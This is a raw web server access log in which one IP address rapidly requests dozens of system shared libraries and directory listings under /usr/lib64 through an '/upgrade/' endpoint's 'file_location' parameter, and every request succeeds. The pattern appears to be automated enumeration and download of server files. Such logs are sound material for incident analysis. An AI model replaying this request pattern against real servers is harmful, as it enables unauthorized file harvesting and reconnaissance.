45.135.193.11 - - [11/Sep/2026:22:53:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXxf86vm.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 112746 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXxf86vm.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibblkid.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 210364 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibblkid.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfontenc.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115504 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfontenc.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibldacBT_enc.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 128936 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibldacBT_enc.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpangoxft-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119609 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpangoxft-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtdb.so.1.4.14&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 147602 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtdb.so.1.4.14&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xselinux.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113619 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xselinux.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXv.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113119 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXv.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcups.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 377743 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcups.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibosinfo-1.0.so.0.1010.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 218392 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibosinfo-1.0.so.0.1010.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrpm.so.9.1.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 348674 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrpm.so.9.1.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibblkid.so.1.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 210419 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibblkid.so.1.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibisccc-9.16.23-RH.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 121759 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibisccc-9.16.23-RH.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibthread_db.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119944 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibthread_db.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-present.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107083 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-present.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:16 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fsasl2 HTTP/1.1" 200 6364 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fsasl2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcap.so.2.48&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119454 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcap.so.2.48&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-shape.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108905 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-shape.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibss.so.2.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113752 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibss.so.2.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibglib-2.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 633374 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibglib-2.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtheoraenc.so.1.1.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 198077 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtheoraenc.so.1.1.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwmf-0.2.so.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 199131 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwmf-0.2.so.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblber-2.4.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106037 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblber-2.4.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwmflite-0.2.so.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 164512 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwmflite-0.2.so.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:19 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fpulseaudio HTTP/1.1" 200 6074 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fpulseaudio" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibLTO.so.21.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 127961 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibLTO.so.21.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkmod.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 153538 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkmod.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkrb5support.so.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 130114 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkrb5support.so.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibndr-standard.so.0.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1455710 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibndr-standard.so.0.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnftnl.so.11.6.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 189583 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnftnl.so.11.6.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsbc.so.1.2.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 132987 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsbc.so.1.2.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsnappy.so.1.1.8&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 123658 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsnappy.so.1.1.8&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibarchive.so.13.5.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 496224 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibarchive.so.13.5.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcomps.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 174671 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcomps.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsolvext.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 229323 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsolvext.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-res.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109572 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-res.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibboost_thread.so.1.75.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 152999 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibboost_thread.so.1.75.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjxl_threads.so.0.7.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 111577 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjxl_threads.so.0.7.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-cli-3.so.200&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 121135 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-cli-3.so.200&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtotem-plparser.so.18&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 173957 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtotem-plparser.so.18&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwbclient.so.0.16&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 135190 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwbclient.so.0.16&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXinerama.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108506 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXinerama.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdl.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106309 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdl.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibionic.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 127075 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibionic.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtirpc.so.3.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 192254 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtirpc.so.3.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibaio.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107875 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibaio.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbsd.so.0.12.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 140841 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbsd.so.0.12.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkrb5.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 452229 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkrb5.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsamba-hostconfig.so.0.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 177692 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsamba-hostconfig.so.0.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtcl8.6.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 917815 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtcl8.6.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtheoraenc.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 197896 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtheoraenc.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcares.so.2.6.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 152758 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcares.so.2.6.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgraphite2.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 167970 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgraphite2.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliborc-test-0.4.so.0.31.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 117789 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliborc-test-0.4.so.0.31.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc_server_abyss.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116551 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc_server_abyss.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:33 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fxfsprogs HTTP/1.1" 200 5744 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fxfsprogs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgudev-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 121097 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgudev-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblmdb.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 152749 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblmdb.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmount.so.1.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 233189 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmount.so.1.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
